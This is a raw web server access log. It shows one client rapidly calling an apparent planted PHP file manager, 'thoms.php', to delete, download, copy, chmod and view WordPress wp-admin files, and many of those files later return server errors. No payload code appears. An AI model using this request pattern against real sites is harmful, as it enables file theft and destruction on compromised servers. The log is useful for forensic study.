45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?del=error_log&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28642 "http://163.245.207.76:443/thoms.php?del=error_log&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=theme-install.php HTTP/1.1" 200 19278 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?chmod=widgets.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 200 15895 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?del=ms-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28643 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fwidgets.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11417 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fwidgets.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?dl=about.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28644 "http://163.245.207.76:443/thoms.php?dl=about.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /bft.com.tw/wp-admin/ms-edit.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmenu-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmenu-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink-manager.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink-manager.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?del=plugins.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 200 24939 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?dl=plugins.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28624 "http://163.245.207.76:443/thoms.php?dl=plugins.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?dl=tools.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28615 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 200 19027 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 200 15321 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Flink.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /bft.com.tw/wp-admin/credits.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /bft.com.tw/wp-admin/edit-comments.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /bft.com.tw/wp-admin/edit-tags.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:32 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fnetwork.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fnetwork.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /bft.com.tw/wp-admin/press-this.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?chmod=edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 200 14038 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?dl=user-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?dl=custom-background.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28623 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?dl=edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28626 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?del=erase-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28615 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 200 14036 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=tools.php HTTP/1.1" 200 13442 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /bft.com.tw/wp-admin/js/ HTTP/1.1" 200 3615 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-users.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-users.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /bft.com.tw/wp-admin/admin.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:33 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 200 12486 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?chmod=tools.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?dl=admin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28625 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?dl=options.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28626 "http://163.245.207.76:443/thoms.php?dl=options.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?dl=options-connectors.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28626 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?dl=admin-ajax.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28628 "http://163.245.207.76:443/thoms.php?dl=admin-ajax.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Ffreedoms.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Ffreedoms.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?dl=export-personal-data.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28625 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /bft.com.tw/wp-admin/post.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?dl=load-styles.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28625 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:34 -0400] "GET /thoms.php?chmod=post.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?chmod=upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?del=options-writing.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28590 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&upload= HTTP/1.1" 200 12172 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?del=js&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28627 "http://163.245.207.76:443/thoms.php?del=js&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?del=export.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28626 "http://163.245.207.76:443/thoms.php?del=export.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?chmod=media-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 200 12376 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /bft.com.tw/wp-admin/contribute.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupgrade.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fupgrade.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28630 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?del=edit-form-comment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28631 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?dl=edit-tags.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28631 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?chmod=menu-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /bft.com.tw/wp-admin/network/ HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:35 -0400] "GET /thoms.php?del=install.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28629 "http://163.245.207.76:443/thoms.php?del=install.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /bft.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /bft.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?dl=edit-tag-form.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28642 "http://163.245.207.76:443/thoms.php?dl=edit-tag-form.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 200 12003 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?dl=custom-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28643 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?chmod=network&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=network&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fadmin-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /bft.com.tw/wp-admin/link-manager.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?dl=edit-comments.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28636 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 200 17979 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:36 -0400] "GET /thoms.php?chmod=ms-users.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
